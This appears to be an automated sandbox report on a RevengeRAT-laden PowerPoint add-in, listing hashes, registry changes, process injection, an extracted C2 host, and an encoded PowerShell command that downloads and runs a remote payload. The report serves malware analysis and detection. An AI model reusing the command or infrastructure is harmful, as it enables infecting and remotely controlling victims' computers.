revengerat | dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044

General

Target

dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044.ppam
Size

21KB
MD5

0fa350aeda0300d702cbffe77bdf26e1
SHA1

3b9a66fd26bfd26cff53e222744b382da0735c74
SHA256

dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044
SHA512

d4514a79d24d5b165f0588cfa370a92e6d781add023878b515248c453153e26b9e701b2d5b7a1e02976783ba5925a0fd353d25ab8510419c4b6b30df2858e0d1
SSDEEP

384:dXP27u0zBE0RZ+T9cx/7tsZKhNVqo6JV5ZjXDcd42nS5wYFjg1zTeQcxUwPMyvxh:VP2r60L+BS6ZkHqxJZkd42Sr9g1Xed0k

Score

10^/10

revengerat nyancatrevenge trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

craxsrat.ddns.com.br:333

Mutex

27d7e6701f5e

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process	1532	2924	powershell.exe	POWERPNT.EXE

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 1532 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1532 set thread context of 2412 1532 powershell.exe RegSvcs.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

flow	pid	process
3	1532	powershell.exe

description	pid	process	target process
PID 1532 set thread context of 2412	1532	powershell.exe	RegSvcs.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

RegSvcs.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	RegSvcs.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegSvcs.exe

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

POWERPNT.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	POWERPNT.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	POWERPNT.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	POWERPNT.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Toolbar	POWERPNT.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	POWERPNT.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	POWERPNT.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\MenuExt	POWERPNT.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	POWERPNT.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	POWERPNT.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	POWERPNT.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	POWERPNT.EXE

Modifies registry class 64 IoCs

Processes:

POWERPNT.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348A-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E551-4FF5-48F4-8215-5505F990966F}\ = "SectionProperties"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493494-5A91-11CF-8700-00AA0060263B}\ = "TabStop"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DF-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C0-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C7-5A91-11CF-8700-00AA0060263B}\ = "Row"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D6-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346C-5A91-11CF-8700-00AA0060263B}\ = "_Master"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493495-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5F-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "ChartTitle"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493470-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348D-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C6-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EE-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5A-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346B-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E555-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F9-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A72-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348F-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345E-5A91-11CF-8700-00AA0060263B}\ = "PrintRanges"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493477-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347A-5A91-11CF-8700-00AA0060263B}\ = "ShapeRange"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F7-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C9-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{1D8B6B83-534E-4FBB-A54C-B30952EC47AF}	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5B-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "ChartFillFormat"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A63-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E556-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E6-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E554-4FF5-48F4-8215-5505F990966F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D6-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345B-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493492-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A54-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "AxisTitle"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493478-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493494-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E555-4FF5-48F4-8215-5505F990966F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493464-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493482-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E7-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A56-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "ChartBorder"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493492-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E7-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346F-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F7-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A59-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493462-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493488-5A91-11CF-8700-00AA0060263B}\ = "OLEFormat"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E3-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D3-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

NOTEPAD.EXE

pid process

2024 NOTEPAD.EXE
Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

POWERPNT.EXEWINWORD.EXE

pid process

2924 POWERPNT.EXE
2484 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1532 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1532 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

2484 WINWORD.EXE
2484 WINWORD.EXE

pid	process
2024	NOTEPAD.EXE

pid	process
2924	POWERPNT.EXE
2484	WINWORD.EXE

pid	process
1532	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1532	powershell.exe

pid	process
2484	WINWORD.EXE
2484	WINWORD.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

POWERPNT.EXEpowershell.exe

description	pid	process	target process
PID 2924 wrote to memory of 2892	2924	POWERPNT.EXE	splwow64.exe
PID 2924 wrote to memory of 2892	2924	POWERPNT.EXE	splwow64.exe
PID 2924 wrote to memory of 2892	2924	POWERPNT.EXE	splwow64.exe
PID 2924 wrote to memory of 2892	2924	POWERPNT.EXE	splwow64.exe
PID 2924 wrote to memory of 1532	2924	POWERPNT.EXE	powershell.exe
PID 2924 wrote to memory of 1532	2924	POWERPNT.EXE	powershell.exe
PID 2924 wrote to memory of 1532	2924	POWERPNT.EXE	powershell.exe
PID 2924 wrote to memory of 1532	2924	POWERPNT.EXE	powershell.exe
PID 1532 wrote to memory of 2412	1532	powershell.exe	RegSvcs.exe
PID 1532 wrote to memory of 2412	1532	powershell.exe	RegSvcs.exe
PID 1532 wrote to memory of 2412	1532	powershell.exe	RegSvcs.exe
PID 1532 wrote to memory of 2412	1532	powershell.exe	RegSvcs.exe
PID 1532 wrote to memory of 2412	1532	powershell.exe	RegSvcs.exe
PID 1532 wrote to memory of 2412	1532	powershell.exe	RegSvcs.exe
PID 1532 wrote to memory of 2412	1532	powershell.exe	RegSvcs.exe
PID 1532 wrote to memory of 2412	1532	powershell.exe	RegSvcs.exe
PID 1532 wrote to memory of 2412	1532	powershell.exe	RegSvcs.exe
PID 1532 wrote to memory of 2412	1532	powershell.exe	RegSvcs.exe
PID 1532 wrote to memory of 2412	1532	powershell.exe	RegSvcs.exe
PID 1532 wrote to memory of 2412	1532	powershell.exe	RegSvcs.exe

C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044.ppam"
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:2924

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2892

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADYAOQBjADAAYgBmADUAOAAtADIAYwBiADAALQA0AGYANwA2AC0AOAA2ADQAOQAtAGEANgA2AGUANQA0AGIANgA2ADkANAAwAA0ACgAnACkAOwAgAA0ACgBBAHUAawB3AFoARABlAGsAawBXAHAAZABmAG8AdABmAEkASQBaAFQARwBrAEgAYwBOAEgATAB1AEEAdABVAGUAQwBOAGQASABPAFYATgBBAA0ACgA=""
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1532

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Checks processor information in registry
PID:2412

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:356

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\AddGet.ps1xml
1⤵
- Opens file in notepad (likely ransom note)
PID:2024

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\Documents\Are.docx"
1⤵
- Drops file in Windows directory
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2484

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
Filesize
20KB

MD5
e1e1c15fc2aa55aeedde650d55307292

SHA1
48345f7a801b9b770551cfc6fe350d6351c55ca9

SHA256
d1ad92ef076bfbd97e6a07389bb169d21b29ee3b2f647e6dd24abd5029bdee60

SHA512
770bf764be72b2d2138ca783d15862795e0d333ca0e25edeaa9b0c17b86f1a5ee3907da65759a1d966b89635151352ef3fc61e6f87c8cd7fb3feb5cc9ecb9523

Download Submit
memory/1532-12-0x0000000002C00000-0x0000000002C40000-memory.dmp

Filesize
256KB

Download
memory/1532-46-0x000000006AD40000-0x000000006B2EB000-memory.dmp

Filesize
5.7MB

Download
memory/1532-29-0x0000000002970000-0x0000000002971000-memory.dmp

Filesize
4KB

Download
memory/1532-27-0x0000000002930000-0x0000000002948000-memory.dmp

Filesize
96KB

Download
memory/1532-11-0x000000006AD40000-0x000000006B2EB000-memory.dmp

Filesize
5.7MB

Download
memory/1532-23-0x0000000002930000-0x0000000002948000-memory.dmp

Filesize
96KB

Download
memory/1532-13-0x000000006AD40000-0x000000006B2EB000-memory.dmp

Filesize
5.7MB

Download
memory/1532-14-0x0000000002C00000-0x0000000002C40000-memory.dmp

Filesize
256KB

Download
memory/1532-25-0x0000000002930000-0x0000000002948000-memory.dmp

Filesize
96KB

Download
memory/1532-16-0x0000000002930000-0x0000000002948000-memory.dmp

Filesize
96KB

Download
memory/1532-17-0x0000000002930000-0x0000000002948000-memory.dmp

Filesize
96KB

Download
memory/1532-19-0x0000000002930000-0x0000000002948000-memory.dmp

Filesize
96KB

Download
memory/1532-21-0x0000000002930000-0x0000000002948000-memory.dmp

Filesize
96KB

Download
memory/2412-45-0x0000000066E40000-0x000000006752E000-memory.dmp

Filesize
6.9MB

Download
memory/2412-44-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/2412-51-0x0000000066E40000-0x000000006752E000-memory.dmp

Filesize
6.9MB

Download
memory/2412-47-0x0000000004A00000-0x0000000004A40000-memory.dmp

Filesize
256KB

Download
memory/2412-42-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/2412-30-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/2412-32-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/2412-34-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/2412-36-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/2412-38-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2412-40-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/2484-52-0x000000002F371000-0x000000002F372000-memory.dmp

Filesize
4KB

Download
memory/2484-90-0x0000000070A6D000-0x0000000070A78000-memory.dmp

Filesize
44KB

Download
memory/2484-54-0x0000000070A6D000-0x0000000070A78000-memory.dmp

Filesize
44KB

Download
memory/2484-53-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2924-2-0x0000000071CED000-0x0000000071CF8000-memory.dmp

Filesize
44KB

Download
memory/2924-49-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2924-50-0x0000000071CED000-0x0000000071CF8000-memory.dmp

Filesize
44KB

Download
memory/2924-7-0x0000000005580000-0x0000000005680000-memory.dmp

Filesize
1024KB

Download
memory/2924-28-0x0000000004770000-0x0000000004870000-memory.dmp

Filesize
1024KB

Download
memory/2924-15-0x0000000071CED000-0x0000000071CF8000-memory.dmp

Filesize
44KB

Download
memory/2924-0-0x000000002D391000-0x000000002D392000-memory.dmp

Filesize
4KB

Download
memory/2924-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2924-6-0x0000000004770000-0x0000000004870000-memory.dmp

Filesize
1024KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

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Downloads